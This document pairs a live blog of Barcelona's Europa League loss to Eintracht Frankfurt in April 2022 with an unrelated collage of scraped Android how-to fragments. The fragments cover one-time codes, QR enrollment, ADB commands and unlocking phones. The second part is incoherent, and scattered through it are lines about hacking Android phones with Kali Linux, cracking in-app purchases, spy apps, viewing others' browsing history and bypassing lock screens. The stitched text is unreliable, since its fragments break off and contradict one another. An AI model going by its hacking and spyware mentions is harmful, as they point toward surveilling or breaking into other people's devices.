OptaJose (@OptaJose) April 14, 2022 90+10 min: GOAL, Barcelona! How unlucky for Frankfurt! Trapp saves the penalty from Memphis Depay, but the ball pops up into the underside of the crossbar and comes back down just over the line. Trapp thinks he’s saved it, but goal line technology tells the official it’s a smidge over the line for Barcelona’s second. 90+9 min: PENALTY, Barcelona! Barcelona has a spot-kick and N’Dickia is sent off! It’s a very soft give by the official, as he went up for a 50/50 header with de Jong but the referee says he went over the Dutchman’s back. That’s a second yellow card for N’Dickia, and Frankfurt is down to 10 men. It’s almost certainly not going to be enough for Barcelona, but there’s a glimmer of hope. 90+6 min: Three yellow cards have been handed out in quick succession, with Ansgar Knauff getting the latest for a hard challenge of Busquets in midfield. Dembele and Frankfurt defender Evan N’Dicka also into the book. Then, Xavi is cautioned on the Barcelona sideline as the frustration boils over. 90+1 min: GOAL! Barcelona! Finally, mercifully, Barcelona has a goal. It’s actually a beautiful strike off the foot of Busquets, who makes up for his error moments ago. A half-volley with venom, it crashes into the inside of the side netting to give Barcelona a lifeline. Even with nine minutes of stoppage time, however, it’s almost surely too little too late. Sergio Busquets pulls one back for Barcelona. 🔴🔵 pic.twitter.com/nXxPs8IsnA — CBS Sports Golazo ⚽️ (@CBSSportsGolazo) April 14, 2022 89th min: CHANCE, Barcelona! Now its Busquets’ turn with a calamitous miss! A pinpoint delivery to the front of net finds Busquets, but he bundles it over the bar. Just a tragic showing altogether. 83rd min: CHANCE, Barcelona! The hosts finally have the ball in the back of the net, with Sergio Busquets tapping in from an outstretched Frenkie de Jong effort, but it doesn’t survive a VAR review, with Busquets clearly offside. No goal! 78th min: CHANCE, Frankfurt! Now it’s Kamada’s turn to miss, as he rifles a shot with topspin just wide right from a good tight-angle opening. Barcelona is in complete disarray, a total breakdown. 76th min: CHANCE, Frankfurt! There are enormous gaps amidst Barcelona’s defense, and it’s a miracle that Frankfurt doesn’t have a fourth, cutting right through the heart of the home side’s midfield. Borre ends up on the ball in the six-yard box with acres of space to shoot but he shanks it well wide, a bad miss. 70th min: Eric Garcia makes way for Luuk de Jong, a final throw of the dice for Xavi needing a hail mary. Barcelona has just four shots on the evening compared to 12 for Frankfurt despite 76 percent possession. 1 – Filip Kostic is the first player to score and assist in a single European game against #Barcelona 🔵🔴 at Camp Nou since Juninho Pernambucano for O. Lyon in March 2009 in the #UCL . Strange. #UEL pic.twitter.com/mYJw1tfKxb — OptaJose (@OptaJose) April 14, 2022 67th min: GOAL! Frankfurt! It’s over, Barcelona is crashing out of Europe, and it’s a famous night for Eintracht Frankfrut. It all came from a throw-in, and Kostic applies the deathblow. Dest somehow was late arriving to Kostic, and ter Stegen again couldn’t reach a shot that wasn’t hit with a ton of pace. A calamitous effort by Barcelona at home to bring an end to this season’s European adventure. — CBS Sports Golazo ⚽️ (@CBSSportsGolazo) April 14, 2022 What a view! 😍💥#UEL pic.twitter.com/p3PsOSGybm — beIN SPORTS USA (@beINSPORTSUSA) April 14, 2022 61st min: The referee has a look but does not call a penalty. The right call, as Borre had zero intent and was simply bracing himself against Torres as the ball popped up. The official is also having some equipment issues which is lengthening the delay, there will be significant stoppage time at the end of this one. Adama Traore and Sergino Dest both enter for Barcelona, replacing Oscar Mingueza and Aubameyang. 58th min: Well well. We have a VAR check for a possible handball on the aforementioned free-kick from Jordi Alba, and the referee is going to the monitor. The delivery was low and poor, but it pops up and clips the outstretched arm of Borre as he battled with Ferran Torres. It did hit his arm, but this would be incredibly harsh if a penalty is called… During the delay, Barcelona ultras are shown departing their seats in protest over Barcelona fans who sold their tickets to Frankfurt fans. There’s a massive German contingent in the stadium, all dotted around the stadium in white shirts, clearly proving they obtained tickets through secondary means. Organizada do Barcelona foi embora. Só eles. O estádio segue cheio. pic.twitter.com/StrsC8GLK9 — Marcelo Bechler (@marcelobechler) April 14, 2022 10 Minuten waren die #Barca-Fans draussen. Protest, da zu viele @Eintracht-Fans im Stadion sind… #FCBSGE #UEL #SGEuropa @FCBarcelona pic.twitter.com/KGjPzZ2du3 — Jochen Stutzky (@JochenStutzky) April 14, 2022 56th min: Just incredible. Barcelona has an enormous flurry of touches in the Frankfurt penalty area, but despite the visitors’ inability to clear, Barcelona cannot get a shot off. Hosts with just three shots on the day despite 75 percent possession and 458 passes to Frankfurt’s 150. Jordi Alba follows moments later with a horribly under-hit free-kick. 47th min: CHANCE, Barcelona! WHAT. A. MISS. Aubameyang! Ousmane Dembele is the only Barcelona player having a good game. He springs free down the right, and it gets by the Frankfurt defenders and Trapp, but Aubameyang flubs it with the goal gaping. Tragic. Barcelona continues to show a sense of urgency, but the inability to create shots or finish the few ones taken is debilitating. pic.twitter.com/jgogI3aGga — No Context Football (@NoContextFootie) April 14, 2022 46th min: Back under way for the second half. Time to see if Xavi can engineer a big second-half turnaround, or if Barcelona will succumb to European disappointment here at home. One halftime substitution for the hosts as Frenkie de Jong comes on for Pedri, who has apparently picked up an injury, adding insult to injury for Barcelona. Se confirma la noche negra para el Barça: se lesiona Pedri. Y esa es una pésima noticia para los blaugrana. — Jamie Easton Gombau (@eastonjamie) April 14, 2022 HALFTIME: Barcelona 0-2 Eintracht Frankfurt An absolutely stunning scoreline, but no less than the German side deserves. The visitors have defended with aplomb and countered with such venom that Barcelona has no idea how to handle the break. Frankfurt has nine shots to Barcelona’s two. It’s been one way traffic possessionally for Barcelona — to the tune of 75 percent — but Frankfurt had all the dangerous moments in the first half. Barcelona needs an enormous comeback to keep from crashing out of Europe altogether. 8 – #Barcelona 🔵🔴 have conceded eight goals from outside the box this season in all competitions, more than in any other campaign since 2005/06. Weakness. #UEL pic.twitter.com/m2xXgkw4o9 — OptaJose (@OptaJose) April 14, 2022 44th min: CHANCE, Frankfurt! Barcelona is pushing and pushing with a real sense of urgency, but the hosts just cannot content with the Eintracht Frankfurt counter. Knauff goes close again with a shot that blazes over the crossbar from the right after he puts a defender on his rear end. .@BVB whenever Ansgar Knauff skins a Barcelona player 😂 pic.twitter.com/4hnbnEFMsW — Stefan Bienkowski (@SBienkowski) April 14, 2022 36th min: GOAL! Frankfurt! Barcelona has responded well after the early opener, but it’s all fallen apart! It’s Rafael Borre who does it all, cutting in from the left and letting loose from a good distance outside the top of the box. Nobody closed him down, and ter Stegen should be saving from that distance out, it’s a mystery why he was so far from the effort. Could Barcelona be crashing out of Europe at the hands of the ninth-placed team in the Bundesliga? RAFAEL BORRÉ TAKE A BOW 🚀 pic.twitter.com/K9z2ih0MuI — CBS Sports Golazo ⚽️ (@CBSSportsGolazo) April 14, 2022 35th min: Frankfurt works a shot from excellent work by Ansgar Knauff down the right, as the 20-year-old German cuts inside and dribbles around two Barcelona defenders, but his off-balance shot is weak and skids into the arms of ter Stegen. 28th min: A Barcelona corner turns into an excellent Frankfurt counter and Gavi is forced to yank Lindstrom back to end the threat. Gavi is booked by the referee, already the third card given out in the match before the half-hour mark. Xavi is furious on the sidelines, and it forces the official to go over and give him a talking to. This has been a very intense and emotional match. Gavi is suspended for the next match alongside Garcia if Barcelona advances. 24th min: Kristijan Jakic is given a yellow card by the referee after a heavy collision with Ferran Torres, meaning he is suspended for the next match if Frankfurt advances. Jakic is incensed, yelling right in the referee’s face for a long and heated nose-to-nose exchange which only ends when a teammate comes and pulls Jakic away. He has to be careful, it was a deserved yellow for blocking Torres off. 20th min: Barcelona appeals for a penalty as Jordi Alba goes down in the box under an Almamy Toure challenge, but the referee waves it away. Alba is FURIOUS, slapping the ground in anger, but there’s hardly anything in that. VAR doesn’t even bother. 18th min: CHANCE, Barcelona! WHAT A SAVE by Kevin Trapp! The former PSG man tips a close-range effort over the crossbar from another Barcelona set-piece. That’s a highlight reel stop. 12th min: Ousmane Dembele is playing out of his mind. He clowns Filip Kostic on the wing and wins another free-kick for Barcelona. It comes to nothing, but the Frenchman is clearly on a mission to will the hosts back level. He’s already won three fouls and is 4/4 dribbling! Ousmane Dembele is just unstoppable when he’s fully fit. I wonder how much of Barca’s improvement under Xavi comes down to that. — Ryan O’Hanlon (@rwohan) April 14, 2022 I don’t think there was any doubt about Dembele’s talent. An impossible winger to play against. Dangerous on both flanks, can go in or out on both sides, very fast, and can cross well with both feet. A freak. — Deji Faremi (@deejayfaremi) April 14, 2022 10th min: CHANCE, Barcelona! The hosts come ever so close to another quick equalizer, as a brilliant Dembele cross with the outside of his boot finds the head of Pierre-Emerick Aubameyang. The Gabon international sends the ball across the face of goal but it sails just inches over the crossbar. 6th min: Barcelona, onto the attack for the first time in the match, has a dangerous free-kick after Ousmane Dembele is fouled a good distance outside the top-right corner of the penalty area. The delivery isn’t cleared for some time, but eventually it turns into a Frankfurt counter-attack which is only snuffed out by a good interception just past halfway. 4th min: GOAL! Frankfurt! It’s Filip Kostic to take, and the Serbian delivers with a low slotted delivery past ter Stegen. It sets the significant German contingent amongst the crowd into delirium. Barcelona now playing from behind again, as it was in the first leg. Filip Kostić gives Eintracht Frankfurt the lead over Barcelona. 😳 pic.twitter.com/C6clnmYUhj — CBS Sports Golazo ⚽️ (@CBSSportsGolazo) April 14, 2022 3rd min: PENALTY, Frankfurt! The German side has been in control for the first few minutes, and Eric Garcia wrestles down Jesper Lindstrom in the penalty area. Garcia gets a yellow card for his troubles, and deservedly so, as his right arm was wrapped around Lindstrom’s shoulder and neck. Garcia is suspended for yellow card accumulation should Barcelona eventually advance. 1st min: We are under way! Almost immediately Frankfurt’s Raphael Borre goes for goal from nearly 40 yards out, and as you might expect it’s nowhere close to goal. The German side is confident to open the match! 2:46 p.m.: Barcelona will hope the Camp Nou will provide a more friendly outcome today than in recent European past. 3 – @FCBarcelona have drawn their last three home games in European competitions (Benfica in #UCL, & Napoli & Galatasaray in #UEL ). If they draw vs Eintracht, they will record their best streak drawing at home in European competitions ever. Chess#FCB ❤💙#BarcaEintracht pic.twitter.com/Qrc6gd07nY — OptaJose (@OptaJose) April 14, 2022 2:24 p.m.: Looking like a beautiful day for football at the Camp Nou. 𝐓𝐡𝐞 𝐜𝐨𝐮𝐧𝐭𝐝𝐨𝐰𝐧 𝐢𝐬 𝐨𝐧…⏳🔥#SGEuropa #FCBSGE #UEL pic.twitter.com/dCWWPmFAld — Eintracht Frankfurt (@eintracht_eng) April 14, 2022 1:29 p.m.: Eintracht Frankfurt fans are known to travel well across Europe, and today is no different. After taking over London three years ago ahead of a match against Chelsea, fans have now marched across Barcelona, stopping traffic in their wake. The next episode: thousands of Eintracht Frankfurt fans marching from the centre of Barcelona to the Camp Nou. pic.twitter.com/hRP943eqFb — Archie Rhind-Tutt (@archiert1) April 14, 2022 ¡Locura alemana en las calles de Barcelona! Los hinchas del Eintracht Frankfurt y una peregrinación hacia el Camp Nou para apoyar a su equipo en la búsqueda por un lugar en semis de la #UELxESPN. 📽 @jag_vall pic.twitter.com/u2ZP84a9ob — SportsCenter (@SC_ESPN) April 14, 2022 1:02 p.m.: While Barcelona may look to the remaining Champions League sides with jealousy and wish it were still alive in Europe’s top club competition, Xavi is using the Europa League as a motivating factor for his players. Barcelona have never won this title in club history. Xavi setting the bar for @FCBarcelona ⭐️ pic.twitter.com/pRpf9mcLAw — 1хBet (@1xBet_Eng) April 14, 2022 Barcelona vs. Eintracht Frankfurt lineups Xavi will need the full depth of his squad for this match, as the home team is missing several players including Gerard Pique, Samuel Umtiti, Moussa Wague, Ansu Fati, Sergi Roberto, and Dani Alves. Sergino Dest and Memphis Depay are available off the bench. Despite the absentees, Xavi has picked a strong side. Barcelona starting lineup (4-3-3): 1-Ter Stegen (GK) — 22-Mingueza, 4-Araujo, 24-Garcia, 18-Alba — 30-Gavi, 5-Sergio, 16-Pedri — 7-Dembele, 25-Aubameyang, 19-Torres Barcelona subs (12): 13-Neto (GK), 36-Arnau Tenas (GK), 15-Lenglet, 2-Dest, 31-Balde, 6-Riqui Puig, 21-F. De Jong, 28-Nico, 9-Memphis, 11-Traore, 12-Braithwaite, 17-L. De Jong MORE: Why is Barcelona playing in the Europa League? Manager Oliver Glasner has comparatively fewer injuries to deal with in his squad. Tuta‘s red card in the first leg will see him miss the game in Catalonia, and will necessitate a change at the back. Djibril Sow is also a big miss in midfield. Backup goalkeeper Diant Ramaj was also ruled out, but it turns out forward Ragnar Ache is available off the bench. Eintracht Frankfurt lineup (3-4-3): 1-Trapp (GK) — 18-Toure, 13-Hinteregger, 2-Ndicka — 36-Knauff, 6-Jakic, 17-Rode, 10-Kostic — 29-Lindstrom, 19-Borre, 15-Kamada Eintracht Frankfurt subs (11): 31-Grahl (GK), 20-Hasebe, 22-Chandler, 25-Lenz, 7-Hrustic, 21-Ache, 23-Hauge, 24-Da Costa, 27-Barkok, 39-Paciencia, 9-Lammers How to watch Barcelona vs. Eintracht Frankfurt UK: The match will be carried on TV by BT Sport 2, and streamed on BT Sport platforms, including the app. USA: The match will air on UniMas and TUDN (Spanish) in the USA and those channels are streamed on fuboTV, which also offers a free trial to new subscribers. Paramount+ will have the English-language stream. Canada: In Canada, every Europa League game streams live on DAZN. Australia: Stan Sport holds the exclusive rights for all Europa League matches in Australia. Barcelona vs. Eintracht Frankfurt betting lines, picks & prediction Unsurprisingly, Barcelona are the favorites with the sportsbooks. With the series level, they’ll be expected to take it away from the German side with the second leg played at home. Despite the number of injuries that Xavi’s side has picked up, the absences for the visitors are likely to have a greater impact. With injuries in defense also making Barca potentially more vulnerable at home than they usually are, the markets clearly sense the possibility of goals in this game. Barcelona should see this tie through, as the club is playing well despite the European challenges. The home crowd will be a boost, and there should be no struggles to put the game away. Pick: Barcelona -1.5 (+100) Prediction: Barcelona 2-0 Eintracht Frankfurt

Enter This One Time Code On Your Android Device Enter This One Time Code On Your Android DeviceWe couldn't create a list of plugins without mentioning ours. The code should be displayed in the app. 1 introduced system-level support for retail demo mode so that customers can examine the devices in action at retail stores. Everything about iOS is designed to be easy. Step 4: Press ‘Clear Data’ button and then confirm your …. To use a different Kanopy account on that device, you'll need to log out first. Select Available for Android on the Add a New Device Window. Now, open the Expo client app on your physical Android device and select the Scan QR Code option, as shown below. Clear the cache and wipe the history of the Google Play store. Install it and reload VS Code…. Let's select Phone on the left, and choose Pixel 2 as the target device…. Identify resource-hungry apps Probable cause: Having resource-hungry apps running in the background can really cause a huge drop in battery life. Now click “Start”, and go on connecting your device via the USB cable. Hold the Power button and the Home button at the same time …. (The phone screen will dim) Head over to the Device …. Use the steps at the start of this tutorial to retrieve your project ID. Example of a one-time notification. How to Encrypt Your Android Phone (and Why You Might Want to). Open LetsView both on your phone and computer, select your device’s name once found. The first command you should learn is the one to list the connected devices, so you can check if your device was correctly recognized by the ADB server. Click the "Run 'app'" (Green Triangle) on the toolbar (or shortcut Shift + F10 on Windows OS). However, AGI will run validation again if the device setup changes, such as if the GPU driver or Android version is updated. To download Workday Mobile on your Android device: From your device, navigate to the Google Play Store. Transmitting the KeyEvent code to the device is. Just use this command to set a server address to automatically sync your device time. Step 2: Go to the Phone Transfer module, and then choose Phone to Phone. Here dial this code *#*#8255#*#*. The Free features are free forever. When asked, tap Connect to join that network on your Android device. Open the menu view and press “Task. Call Service NSW 7am - 7pm, Monday to Friday and 9am - 5pm on weekends and public holidays 13 77 88 launch east. Stay safe on your Android device with top-rated antivirus plus tools to guard your privacy & identity. Now that ADB recognizes your device, type. In the screenshot below, the user is asked to enter a generic access code, because there is no password enabled on this example device (you . Icons will be on the on the bottom of the device. How to Check Other's Browsing History on Android …. How Can I Find My Lost Android Phone With Find My Device? Thanks to the . Click on the button to install Filelinked APK to your device. Once the Android recovery software has finished resetting the operating system, we can now restart the device. While mostly not very useful to the average smartphone owner, these hidden codes can be used once in a while just to satiate your curiosity. This is special file for android one device. Otherwise, open the browser menu by tapping on the three vertical dots in the upper right part of the screen, and select History. Tap on the name of device B and then select. If you can’t launch or play your game, your device …. We hot glued the gimbal top to the bottom of the maze. Move your camera so the QR code is in the frame. Used to flash a zip file in recovery mode when the zip file is available in the computer and not phone. The drivers are the hardware-specific interface between Windows and the USB ports. How to Install APK on Android. 10 Useful USSD Codes for Android Phone Owners. Check Your Billing Cycle: *3282# Works on Android. Completely exit all Office 365 related applications on device and only start Teams …. This timer is so you never have to use the same time-based one-time password (TOTP) twice and you don't have to remember the number. You'll get the IDE: In the editor, enter the following code. For Android devices, click on the button 'Show Android QR' under the Android tab. This can be done on stock Android by selecting Factory data reset in the Backup & reset option in. If a QR code is provided in the enrollment request notification, scan the QR code. Go to the “Applications” section on your Android phone menu. Now build and run your Android …. Start with going to the browser and downloading dr. Touch and hold the Camera icon to start recording. On your browser, enter the activation code …. This opens the Settings screen. To use these codes, you need to open phone keypad or dialer app and type the code. After you enable debugging over Wi-Fi on your device, select the Pair using Wi-Fi action in the Physical tab of the new Device …. Select Browse my computer for driver software and click Next. In case you regularly update your …. Connect to your Wifi and then choose NEXT. Then download the desired font and hit Set. • Transfer and Backup Contacts, Photos, Music, SMS, and more on your iOS & Android Devices. In this tutorial we are going to learn how to hack any android device with Kali Linux. Microsoft will use your phone number or email address only for this one-time transaction. Older Android or other manufacturers: For Android 7 and newer, open the Device Unlock app. Make sure the QR code is inside the box on your screen, and then tap the pop-up banner or the yellow QR code icon in the bottom-right corner. On your device, go to Bluetooth settings and enable Bluetooth. com account to an iPhone, iPad, or iPod Touch, an Android device, or a Windows phone. For example: adb tcpip 5555 adb connect 192. In the Google Lens app, you can also choose "Search with your camera" if the QR code is printed out or on another device; if so, scan the code with your camera. To enable this feature, select Save code on this device forever during 2FA set-up and you will only have to enter the code once on each device you login into. Now comes the final step: installing the Play Store. Step 2: Choose your phone model from the list and then click Next to continue. Time to unleash your brilliance. In the “Proxy Listeners" section, click the “Add” button. The simplest solution to get out of fastboot mode is to start your device again. It makes Lucky Patcher one of the best App for Hacking Offline Android Games and hacking any of the in-app Purchases for any games or apps. If it's not removable, perform a soft reset. See Chapter 3 for more information on quick actions. TensorFlow can be used anywhere from training huge models across clusters in the cloud, to running models locally on an embedded system like your phone. Next, back out one level to head to the main Settings menu again. Tap Manage your Google Account. Message must contain an 11-character hash string. Get current time and date on Android. Updated January 2020 to include detail about Android Pie. Enter Okta Verify in the search. These codes maybe useful, for devices verification like when you buy an android …. Chronus is a very ‘simple to use’ clock widget app for Android but very effective in fulfilling its purpose. Get to your Android’s Home screen by pressing the Home button once. VMware provides this operational tutorial to help you with your VMware Workspace ONE® environment. Open the app on both the devices and then select the send option in the home page of the app in your old phone and the receive option on your new one. Normally, Skype for Business for Android won't show meeting content or participant video feeds during a meeting unless you have a Wi-Fi connection. The following are the API calls and responses your device can make. Setting up email in the Android …. At this point, your Android device …. You'll be prompted to enter a one-time passcode. Press the Build and download button to obtain a ZIP archive with your new translations. There are free versions available, but they only sync 20 tracks at a time, and are thus more. Next, go back to the Expo dev window, scan the QR code…. ) Click Next to install the driver. Remotely control Android devices running Android …. If you cannot see these options upon long-pressing the POWER button, press and hold the POWER button for 30 to 60 seconds, and it will power down. After powering on your Android device for the first time or after a factory reset, tap anywhere on the home screen six times in the same spot. When you're traveling or don't have mobile reception, this utility will come in useful. ARCore on any Android device, within Unity. It uses a USB OTG cable to connect the locked phone to the Nethunter device…. You can create multiple add devices …. As you can see it says “connected devices …. After the app is installed, the user will be prompted to QR code or manually enter an enrollment token to complete the work profile setup. Enter *#76# To check if the connected line presentation is enabled or disabled. To confirm, click Erase a second time. Registering an email address toggle. So if your phone doesn't respond to a code, don't dwell on it, just move on and find another one. Zobrazit příručku k aplikaci Duo Mobile v3 pro Android. Step 1: Install iMyFone LockWiper (Android) on your PC. In addition, newer feature updates will require Android OS 5. To display IMEI Number : *06# 2. Slide down the notification bar and choose the option “Connected as a media device”. In the SMTP Server field, enter …. Change MAC Address or WiFi MAC Address on Android. • Fully compatible with iOS 15, Android …. Method 2: Remove Android devices from the policy. Press the Power button to start Recovery mode. 0 or higher (most smartphones) ESP32 development …. Open your web browser on the Android device…. Let's get access to secret information about SHARP Android One X1. In this codelab you will convert an Android app using a static TFLite model into an. Method 1: Using the dial pad code. USB debugging is a useful way to debug while connecting your Android device to the SDK, so get this set up before moving on to the next step. Update 2014-04-12: I’ve moved to a new blog system, and so the comments previously written about this post are long gone. Step 2: Look for an option named ‘Device administrators’ or ‘All device …. Step 2: Tap Network & Internet. TCL — Adjusting TV Settings on a TCL Android TV. Step 2: Verify wireless adapter. Open the app menu from the top right corner and click on Settings. The Spotify app is not set to Offine on either device. Take the APK you want to install (be it Google’s app package or something else) and drop the file into the tools folder in your SDK directory. Open Google Play Store on your Android Phone. Download or screenshot this file and store it. Connect your LG phone to PC with a USB cable and then select Unlock Android Screen to perform LG lock screen bypass process. Then you have to tap on the scissors icon that can be found in the top-right corner. Then, run the pull command to download the video from the device to …. If your device doesn't have a power button or you can't reach it, leave it unplugged for 3 minutes instead. It’s when the 10:1 ratio is hit exactly. As these devices are used by many, hackers are exploiting it to harm users and steal personal data. Run your Google Chrome App on your Android. This works because it doesn't matter who the sender is when using the WebOTP API. The next screen prompts you to create a new password. Choose either a Device Group OR an Android Profile OR an Apple Profile. Enter the code in the dialer, select Enter > OnePlus Logkit and then scroll down to Function Switch. The generic codes should work on every Android device out there. You’ll see the registration date under the My Devices section. Navigate to “Phone Transfer” section. You will then enter this code on your …. This method can also fix the issue on some devices; Go to the Settings app on your device. GPS Route Founder is one of the best vehicle tracking apps for Android. Select the "Erase all data (factory reset)" option. Then Choose “Connect” and “AI Companion” from the top menu in your browser: A dialog with a QR code will appear on your …. if you put the Android SDK in “C:\Android” folder, then type cd C:\Android\platform-tools in the Command Prompt. Type adb connect : (port is optional; default 5555). Using QR code is easier but requires a barcode scanner. 2] Force Stop app, Clear Cache and Data. Use the volume keys to move both up and down. Locate the option here: Settings > Data usage > WhatsApp data usage > uncheck Restrict background data option. To update your phone number, on the Settings screen, tap Calls and meetings, tap New Number, and then enter your mobile phone number including the country/region and area code. To use Kanopy on your Android TV, In the Kanopy mobile app, go to More > Link Your Device and enter the code displayed on your TV. How to Enter a Code on google. Enter some basic details related to your devices like its brand, name, and device …. a) For models 2730, C2-01 and 7230: press the 7 key one time. From the target device drop-down menu, select the device that you want to run your app on. After it's done, your device's storage will be encrypted. Then click Submit or hit Enter …. Shared Preferences in Android with Example. This will open a Dialog where you need to do the following, Enter a Configuration Name. The theme gives the pink color a digital look through flowers and makes it an outstanding one. There are two general alarm types: Elapsed Realtime which uses the time …. Norton sends a download link to the email address that you entered. Debugging to the emulator is as simple as selecting one of our device …. Create Your First React Native Android App. Manually select your network providers. Tap the Settings icon on your Android device and tap Lock screen and security. Backup your contacts, calendar events, photos, videos on iOS, and even SMS and call logs on Android…. Step 3 Open the app on your Android …. Open the Phone app on your phone to begin. Now select “Format as internal”, and then “Erase & Format”. This process is a bit confusing so make sure to follow the steps carefully on your Android phone to unlock your android phone. It will open a window to Select Hardware type for your virtual device. On your Android device, login to MyGriffith at. From the drop-down menu, tap the Settings option. It is one of the best applications on android to perform hacking utilizing android gadget. You will see the QR code after you have provided the user's email address. You can back up your data and settings from your phone to your Google Account. The source code is also attached. Log in your Google Account to enter Android Device Manager page. Go to the Settings menu on your device. Depending on your device, you might need to review and accept additional terms. Use the Power button to power off LG G6/5/4. As part of your mobile device management (MDM) solution, use these settings to allow or disable features, run apps on dedicated devices, control security, and more. An Android device, such as a phone or tablet running Lollipop or later. This makes it more difficult for hackers to find vulnerabilities on iOS-powered devices. Scroll down until you find "Security" or "Security and Screen Lock" and tap it. If /delay parameter is not defined, the default value is 5 seconds. Access hidden info on your Android device with these secr…. Once you have confirmed your 8 digit code, you may be asked to enter your login credentials. On the Scan or enter code screen, type in the code that your organization gave you. $ adb shell settings put global ntp_server < new-ntp-server …. When the Developer options are unlocked, you should see something like this. No technical knowledge required. Step 5: Assemble Your Maze - Part 3. Like other technologies such as React Native and NativeScript, it allows development teams to spend less time writing code for both platforms. Click on the power button to turn the device off and then turn it on to get out of fastboot mode. Step 3: Remove or disable unnecessary widgets and apps and update the apps you do use. Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project. From there, select the “Screen Lock” option (keep in mind that the wording may be slightly different for non-stock Android handsets, like Samsung Galaxy devices). This method is probably the simplest way to resolve minor problems of any kind when it comes to your Android device. You could also follow this article to set up Android Studio on your computer. On the Enroll this device screen, select Next. Tap Secure startup > Require PIN when device turns on. The Visual Studio Emulator for Android is included when you install Visual Studio to develop for Android, iOS, and Windows —all from one code base using familiar languages such as C#, JavaScript, and C++. Once the bootloader is unlocked, the phone will reboot back into Fastboot Mode. Go to Security and then to Unknown sources and enable it. From device A, select the "Wi-Fi" tab and wait until the app recognizes device B. By default, ring time on the iPhone is set to 20 seconds. A list of network providers should show up. This is done by tapping on the icon ‘’ Changing the Default Language. Click on it and within a minute you will receive an SMS notification on your phone with a one-time code for entering Telegram. Contents [ hide] Fix Android is Stuck in a Reboot Loop. Download Teamviewer latest software for Windows on your computer. With our new ESET Internet security, you can cover all platforms - Windows, Mac and Android. To turn off Screen Time: Open your iPhone® or iPad® Settings app. This user-friendly app can be used as a translator app and as a dictionary app at the same time. See how you can unlock device parental code from Family Link access code…. Once you see the prompt for entering the unlock code, type the ZTE phone unlock code …. On your computer, get the PIN code appearing on your screen. Android (via Google Play Services) has the SMS retriever API which is. Once if you were able to enter your device model, click "confirm" button. From the Key drop-down menu, choose the volume option. Next, select the RF test option > Enter FTM mode. You should be able to see the progress on your screen. Press the power button and the home button together or Power button and Volume button together for a while, long enough till the Android …. 0+ star: IT admins can use new or factory-reset device to scan a QR code generated by the EMM's console to provision the device. The code is shown next to the service's credential. You’ll get a grid and instructions to “Place QR code …. Then click on redeem your retail card. Android Device Monitor component What you should use; Dalvik Debug Monitor Server (DDMS) This tool is deprecated. Step 1: Open the Settings app on your Android device, and scroll all the way down to Security and tap on it. Choose the “Remove Google Lock” option. Now type the following command and hit the Enter key on the keyboard. Press and hold down the Volume and the Power buttons at the same time for about 10 seconds, until it comes on. The Discover USB Devices checkbox is enabled. These are relatively high requirements; however, they allow us to ensure that every device that can run Citra will have a reasonably good experience. To save your password for the site or app, select Save. This stylish one of the best themes for Android …. When this setting is set to Yes, it provides you with an enrollment token (a random string) and a QR code for your Intune tenant. Open your browser and sign in to your Google account. But don’t enter the PIN code or pattern as soon as your device has rebooted. All apps that are running on your device use memory. This article lists and describes the different settings you can control on Android Enterprise devices. You can then select Enable next to the …. The white Google logo will pop up. Within the wipe menu, all we need to do is swipe the toggle in the bottom right corner. Download AtHome Camera from Google Play. In order to re-instate Caller ID, enter *31#. Alarm Clock for Other Time Zones. Most android phones prompt users to input a backup pin while setting up the above phone security lock systems. Note: If you don’t see an Install button, you may not be running Android …. If you are unable to scan the QR code, on your smartphone tap Enter Pairing Key Manually and enter the pairing key as shown on the registration page. In your profile, make sure the platform is set to iOS and the profile type is set to Device Restrictions. This dialog allows users to grant location access to two different extents: while using the app (foreground only) or all the time …. Extract the font to Android SDcard> iFont> …. Follow the tutorial in the app to turn on the setting. Most modern Android phones have a built-in QR scanner to scan the QR codes like Huawei. Step 6: Now, click on Install and then click on the Install Image. Go to Settings > Security Settings > Parental Control Level. Either approve the notification sent to the Microsoft Authenticator, or enter the one-time password (OTP) generated by the app. AirMore – Versatile Tool to View Android Screen …. 2) Select the rear facing camera and hover your device over the QR code …. Enroll an Android Device in Mobile Device Management (Workspace ONE. Once your devices are linked, your Android device will prompt you for several device permissions. Now, let's implement automatic SMS verification in our app!. 7 Ways Remove Pattern/Password Lock on And…. Find the option USB debugging and enable it. Go to Settings > Developer Options > USB Debugging. A researcher claims to have written an Android …. Step 5 - Name Your Certificate. From there, select the "Screen Lock" option (keep in mind that the wording may be slightly different for non-stock Android handsets, like Samsung Galaxy devices). "Arduino Bluetooth Data" should establish a serial connection. 2022] Forgot Android PIN? Try 5 Method Below. This guide has been created to help you link your Android device . The older version of the KoboCollect App refers to v1. Open your phone’s dial pad, usually named “Phone” in the apps drawer. You’ll Need Your IMEI Number to get an Unlock Code. How to use Verizon Messages (Message+) on Android devices. Once in the bootloader, issue the following fastboot command to unlock the bootloader. 1) On the taskbar, right click the Bluetooth icon and select “Join a Personal Area Network”. Scheduled Power On/ Off Feature. TheOneSpy cellphone spy is compatible with Android 5. The device is placed in Device …. Attacker can share a malicious Android. In Settings -> Networks & internet -> Advanced -> VPN, set WireGuard to be an Always-on VPN. Access hidden info on your Android device with these secret codes. Here, under the heading Signing into. After verifying your phone number by SMS, you receive a PDF containing a QR code and secret key for your …. Remove pattern, PIN, password & fingerprints. Google Lens will scan the QR code for information, and you will see the network credentials in plain text, including the password, on the card (pull up on it to see the details). Answer (1 of 2): Yes, you can use Google authenticator on multiple devices. If possible, try updating to a newer Android OS. What is a QR Code generator? It is a niche tool that is used to generate different types of QR Codes. " If you want to do it free of cost, select "TrialPay" to proceed to unlock your device. (Patrons) By default, Fabularium splits up game files into different folders. Enter the password to your email address and tap Next. Enrollment Requirements Each Android device in your organization's deployment must be enrolled before it can communicate with Workspace ONE UEM and access internal content and features. Create a QR Configuration on Scalefusion Dashboard. Step 2: The system will let you choose how to unlock the device. From here, you can: Get backup codes: To add backup codes, tap Get backup codes. Focus the camera on the QR code on your browser. Highlights & Replays: Unlimited exclusive catch up action, …. If you are prompted to sign in, enter your …. Review all details before selecting Grant Full Account Access. Tap the info icon beside the name of the Wi-Fi network that you want to change the IP address for. From Settings, scroll down to the bottom part of your phone and open the About Device …. Using ADB Commands (Requires USB Debugging) Tip- Hard Reset for Software Glitches. Also download Gapps, and Magisk zip if need be. Download for Windows Download for Android…. The folks you trust to safeguard your computer now offer powerful protection you can put in your pocket. How to Fix "Phone not accepting correct PIN" on Android. That means more Android devices to choose from, built for any job. Step 4: Tap the cog icon next. Support Tip: Enabling kiosk mode on Android and iOS devi…. Enable Android’s “Find My Device” feature. A simple way to verify phone number ownership is by sending an SMS to the number, 